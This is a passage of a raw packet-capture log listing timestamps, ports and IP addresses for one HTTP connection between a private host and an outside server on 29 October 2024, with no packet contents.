Oct 29, 2024 20:44:55.190896034 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.190903902 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.190959930 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.191371918 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.191386938 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.191404104 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.191417933 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.191426039 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.191431999 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.191454887 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.191454887 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.191468000 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.191854954 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.191869020 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.191881895 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.191896915 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.191909075 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.191911936 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.191926956 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.191935062 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.191946983 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.192471981 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.192486048 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.192501068 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.192517042 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.192523956 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.192532063 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.192545891 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.192549944 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.192568064 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.192569971 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.192603111 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.193167925 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.193181992 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.193196058 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.193212032 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.193233967 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.193249941 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.193510056 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.230529070 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.230545998 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.230561018 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.230576038 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.230602026 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.309129953 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.309163094 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.309180021 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.309218884 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.309392929 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.309407949 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.309423923 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.309441090 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.309447050 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.309493065 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.309712887 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.309727907 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.309742928 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.309753895 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.309762001 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.309783936 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.309987068 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.310002089 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.310022116 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.310178995 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.310194969 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.310210943 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.310233116 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.310256004 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.310444117 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.310458899 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.310473919 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.310489893 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.310499907 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.310503960 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.310520887 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.310528040 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.310561895 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.310854912 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.310954094 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.310970068 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.310993910 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.311165094 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.311191082 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.311202049 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.311207056 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.311223030 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.311248064 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.311476946 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.311492920 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.311508894 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.311523914 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.311527014 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.311551094 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.311743021 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.311819077 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.311865091 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.311881065 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.311914921 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.312032938 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.312048912 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.312087059 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.347131014 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.347160101 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.347176075 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.347213984 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.401237011 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.431024075 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.431057930 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.431073904 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.431122065 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.431282997 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.431298971 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.431324959 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.431348085 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.431365967 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.431601048 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.431617975 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.431632042 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.431648016 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.431663990 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.431673050 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.431682110 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.431703091 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.431720972 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.432221889 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.432236910 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.432252884 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.432267904 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.432285070 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.432286024 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.432301044 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.432312012 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.432317019 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.432332039 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.432332039 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.432348013 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.432374001 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.433146954 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.433163881 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.433178902 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.433193922 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.433208942 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.433211088 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.433234930 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.433238029 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.433250904 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.433260918 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.433265924 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.433279991 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.433304071 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.433336973 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.434026957 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.434042931 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.434058905 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.434076071 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.434083939 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.434092045 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.434108019 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.434115887 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.434123993 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.434139967 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.434149981 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.434160948 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.434207916 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.434837103 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.434854031 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.434870958 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.434886932 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.434901953 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.434914112 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.463943005 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.463999033 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.464015007 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.464049101 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.464080095 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.541142941 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.541193008 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.541209936 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.541258097 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.541313887 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.541332006 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.541352034 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.541487932 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.541505098 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.541546106 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.541698933 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.541716099 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.541743040 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.541752100 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.541774988 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.541976929 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.541991949 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.542010069 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.542045116 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.542244911 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.542260885 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.542285919 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.542443991 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.542458057 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.542473078 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.542495966 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.542558908 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.542692900 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.542709112 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.542726040 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.542741060 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.542751074 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.542761087 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.542768955 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.543186903 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.543201923 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.543217897 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.543226957 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.543260098 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.543405056 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.543420076 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.543436050 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.543473005 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.543740034 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.543756008 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.543771029 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.543787003 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.543792009 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.543802977 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.543816090 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.543822050 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.543840885 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.544284105 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.544301033 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.544317007 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.544329882 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.544333935 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.544348955 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.544359922 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.544365883 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.544384956 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.544852972 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.544869900 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.544884920 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.544900894 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.544918060 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.544924974 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.544977903 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.545284986 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.580729961 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.580770016 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.580785990 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.580799103 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.580837011 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.657977104 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.658010006 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.658025980 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.658067942 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.658215046 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.658262014 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.658318043 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.658333063 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.658349991 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.658365965 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.658370018 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.658397913 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.658634901 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.658651114 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.658667088 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.658690929 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.658878088 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.658893108 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.658910990 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.658930063 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.658955097 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.659209013 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.659224987 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.659240961 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.659256935 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.659267902 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.659272909 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.659296036 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.659694910 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.659710884 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.659763098 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.659800053 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.659816027 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.659833908 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.659869909 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.659873962 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.659889936 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.659905910 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.659920931 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.659936905 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.659941912 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.659957886 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.660653114 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.660667896 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.660682917 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.660708904 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.660731077 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.660878897 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.660893917 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.660912037 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.660949945 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.661139965 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.661154985 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.661171913 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.661231995 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.661426067 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.661429882 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.661447048 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.661489964 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.661655903 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.661670923 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.661685944 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.661701918 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.661710024 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.661720991 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.661736965 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.662111044 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.662127018 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.662141085 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.662157059 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.662173033 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.662184954 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.662214994 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.679037094 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.698132038 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.698162079 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.698178053 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.698247910 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.774986029 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.775033951 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.775052071 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.775063038 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.775109053 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.775204897 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.775221109 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.775237083 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.775253057 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.775268078 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.775295973 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.775710106 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.775732994 CET	80	62422	185.215.113.16	192.168.2.6
